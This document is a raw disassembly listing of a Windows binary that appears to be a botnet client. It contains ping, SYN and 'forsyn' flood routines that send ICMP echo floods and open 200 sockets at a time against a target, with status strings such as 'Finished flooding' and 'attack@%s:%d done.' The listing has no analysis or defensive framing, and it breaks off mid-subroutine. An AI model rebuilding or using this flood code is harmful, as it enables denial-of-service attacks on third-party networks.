sub_4017E4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+2Ch] push 4 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+48h] push 4 push edx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 8Eh push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_425BD0: ; CODE XREF: ___:loc_401B6Dj push 0FFFFFFFFh push offset loc_43B6A4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+54h], ebp call sub_4014D3 push eax mov ecx, ebp call sub_4012EE mov edi, dword_50FB08 test eax, eax jnz loc_425D68 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax xor ebp, ebp cmp eax, ebp mov [esp+4Ch], ebp jz short loc_425C3B mov ecx, eax call sub_401DD9 mov ebp, eax loc_425C3B: ; CODE XREF: ___:00425C30j push offset asc_443600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 1 call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 3 call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_401FBE mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_4013D4 mov ebp, [esp+54h] loc_425D68: ; CODE XREF: ___:00425C11j lea ecx, [ebx+8Eh] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_425EDA push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_425DAB mov ecx, eax call sub_401BC7 mov ebp, eax jmp short loc_425DAD ; --------------------------------------------------------------------------- loc_425DAB: ; CODE XREF: ___:00425D9Ej xor ebp, ebp loc_425DAD: ; CODE XREF: ___:00425DA9j push offset asc_443600 ; " " lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 6 call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 4 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FBE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013D4 mov ebp, [esp+54h] loc_425EDA: ; CODE XREF: ___:00425D7Dj lea ecx, [ebx+4] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_426049 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Ah jz short loc_425F1A mov ecx, eax call sub_40130C mov ebp, eax jmp short loc_425F1C ; --------------------------------------------------------------------------- loc_425F1A: ; CODE XREF: ___:00425F0Dj xor ebp, ebp loc_425F1C: ; CODE XREF: ___:00425F18j push offset asc_443600 ; " " lea edx, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 0Bh call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 2 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Ch call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 3 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Dh call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 4 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Eh call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_4013D4 mov ebp, [esp+54h] loc_426049: ; CODE XREF: ___:00425EECj lea ecx, [ebx+32h] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4261F4 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Fh jz short loc_426089 mov ecx, eax call sub_401785 mov ebp, eax jmp short loc_42608B ; --------------------------------------------------------------------------- loc_426089: ; CODE XREF: ___:0042607Cj xor ebp, ebp loc_42608B: ; CODE XREF: ___:00426087j push offset asc_443600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 10h call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 11h call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 12h call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 13h call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+30h] push 5 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 14h call sub_4017E4 push eax call edi add esp, 4 lea ecx, [esp+2Ch] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FBE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013D4 mov ebp, [esp+54h] loc_4261F4: ; CODE XREF: ___:0042605Bj lea ecx, [ebx+0EAh] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_426211 mov [ebx+11Ch], al loc_426211: ; CODE XREF: ___:00426209j mov ecx, [esp+44h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4263D0 proc near ; CODE XREF: sub_401A64j var_4 = dword ptr -4 push ecx mov edx, dword_447A34 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_4263F1 inc ecx mov [eax+118h], ecx loc_4263F1: ; CODE XREF: sub_4263D0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E6ECB call sub_40120D sub_4263D0 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426450 proc near ; CODE XREF: sub_40130Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426450 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E0DC call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426450 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4264C0 proc near ; CODE XREF: sub_401F7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4264C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4264C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426560 proc near ; CODE XREF: sub_4014C4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426560 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_426560 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_426620: ; CODE XREF: ___:loc_4016D1j ; ___:0040217Bj push esi mov esi, ecx call sub_4014C4 test byte ptr [esp+8], 1 jz short loc_426638 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426638: ; CODE XREF: ___:0042662Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426650 proc near ; CODE XREF: sub_4011FEj ___:00402081j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402090 test [esp+4+arg_0], 1 jz short loc_426668 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426668: ; CODE XREF: sub_426650+Dj mov eax, esi pop esi retn 4 sub_426650 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426680 proc near ; CODE XREF: sub_402090j jmp sub_4014C4 sub_426680 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4266A0 proc near ; CODE XREF: sub_401A41j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4266A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 28h lea ecx, [esp+34h+var_24] call sub_401424 mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014D3 push eax call sub_40182F add esp, 10h test eax, eax jz short loc_426764 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_42677E ; --------------------------------------------------------------------------- loc_426764: ; CODE XREF: sub_4266A0+9Aj mov ecx, ebx call sub_4017E4 push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_42677E: ; CODE XREF: sub_4266A0+C2j lea ecx, [esp+34h+var_24] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_4266A0 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426820 proc near ; CODE XREF: sub_401E7Ej var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_436840 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" nop call near ptr 27D0796h mov esi, eax test esi, esi jz short loc_42688A mov edi, dword_50F8A0 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov dword_50E140, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov dword_50E144, eax call edi mov ecx, dword_50E140 mov dword_50E13C, eax test ecx, ecx jz short loc_42688A mov edx, dword_50E144 test edx, edx jz short loc_42688A test eax, eax jz short loc_42688A mov al, [esp+0Bh] test al, al jz short loc_426895 loc_42688A: ; CODE XREF: sub_426820+1Bj ; sub_426820+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_426895: ; CODE XREF: sub_426820+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_4268AC mov [esp+24h+arg_FFE8], eax loc_4268AC: ; CODE XREF: sub_426820+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_4268BF mov ebp, 1 loc_4268BF: ; CODE XREF: sub_426820+98j call ecx ; IcmpCreateFile mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_426904 loc_4268D0: ; CODE XREF: sub_426820+E2j mov al, byte_4D64E9 test al, al jz short loc_426904 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call dword_50E13C ; IcmpSendEcho inc esi cmp esi, ebx jl short loc_4268D0 loc_426904: ; CODE XREF: sub_426820+AEj ; sub_426820+B7j push edi call dword_50E144 ; IcmpCloseHandle pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_426820 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426960 proc near ; CODE XREF: sub_40182Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_40187F mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401E7E add esp, 14h retn sub_426960 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4269A0 proc near ; CODE XREF: sub_401BC7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4269A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E0FC call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4269A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_426A10: ; CODE XREF: ___:00401A19j ; ___:loc_401AAFj push esi mov esi, ecx call sub_4017FD test byte ptr [esp+8], 1 jz short loc_426A28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426A28: ; CODE XREF: ___:00426A1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426A40 proc near ; CODE XREF: sub_4017FDj jmp sub_4014C4 sub_426A40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A60 proc near ; CODE XREF: sub_401366j var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426A60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4E5DBF mov [esp+2Ch+var_28], eax loc_426A86: ; CODE XREF: sub_426A60+35j cmp dword ptr [ecx], 0 jz short loc_426A97 add ecx, 78h inc eax cmp ecx, offset byte_4E671F jl short loc_426A86 loc_426A97: ; CODE XREF: sub_426A60+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_426C49 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:4E5D4Bh[eax*8] call sub_4017E4 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx nop call near ptr 71AB2B66h and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_426B00 mov dword ptr [ebp+68h], 5 loc_426B00: ; CODE XREF: sub_426A60+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_50E14C mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_4014D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D60A5 call sub_401848 mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_50E34C push 0 push ecx push offset sub_4012C1 push 0 push 0 call near ptr 2780709h nop test eax, eax mov dword_50E350, eax jz short loc_426B9B push offset dword_446F64 push 5 push eax push 0 push offset dword_50E14C call sub_4013E8 add esp, 14h mov [ebp+70h], eax jmp short loc_426BCB ; --------------------------------------------------------------------------- loc_426B9B: ; CODE XREF: sub_426A60+11Dj mov ecx, esi call sub_4017E4 push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_4014D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_426BCB: ; CODE XREF: sub_426A60+139j lea ecx, [esp+38h+var_24] call sub_401424 mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_4017E4 push eax push offset aS ; "%s" mov ecx, edi call sub_4014D3 mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp loc_426C49: ; CODE XREF: sub_426A60+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_426A60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426CE0 proc near ; CODE XREF: sub_4012C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:4E5D4Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax nop call near ptr 71AB2B66h push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_426D76 push ebp call near ptr 71AB4FD4h nop xor edx, edx cmp eax, edx jnz short loc_426D6F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D6765[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_426D6F: ; CODE XREF: sub_426CE0+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_426D76: ; CODE XREF: sub_426CE0+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_426E26 mov ebx, dword_50FC30 loc_426D95: ; CODE XREF: sub_426CE0+140j mov al, byte_4D64E9 test al, al jz loc_426E26 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426DAB: ; CODE XREF: sub_426CE0+EFj push 0 push 1 push 2 call ebx cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_426DCB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax nop call near ptr 71AB4519h loc_426DCB: ; CODE XREF: sub_426CE0+D8j add esi, 4 dec edi jnz short loc_426DAB lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426DDA: ; CODE XREF: sub_426CE0+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax call near ptr 71AB406Ah nop add esi, 4 dec edi jnz short loc_426DDA mov ecx, [ebp+68h] push ecx nop call near ptr 2830000h lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426E03: ; CODE XREF: sub_426CE0+130j mov edx, [esi] push edx call near ptr 71AB9639h nop add esi, 4 dec edi jnz short loc_426E03 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_426D95 loc_426E26: ; CODE XREF: sub_426CE0+A9j ; sub_426CE0+BCj xor edx, edx pop edi mov [ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D6765[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_426CE0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426EB0 proc near ; CODE XREF: sub_401DD9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426EB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aSyn ; "syn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E10C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426EB0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426F20 proc near ; CODE XREF: ___:004016DBj sub_40181Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010FF test [esp+4+arg_0], 1 jz short loc_426F38 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426F38: ; CODE XREF: sub_426F20+Dj mov eax, esi pop esi retn 4 sub_426F20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426F50 proc near ; CODE XREF: sub_4010FFj jmp sub_4014C4 sub_426F50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426F70 proc near ; CODE XREF: sub_401E92j var_24 = byte 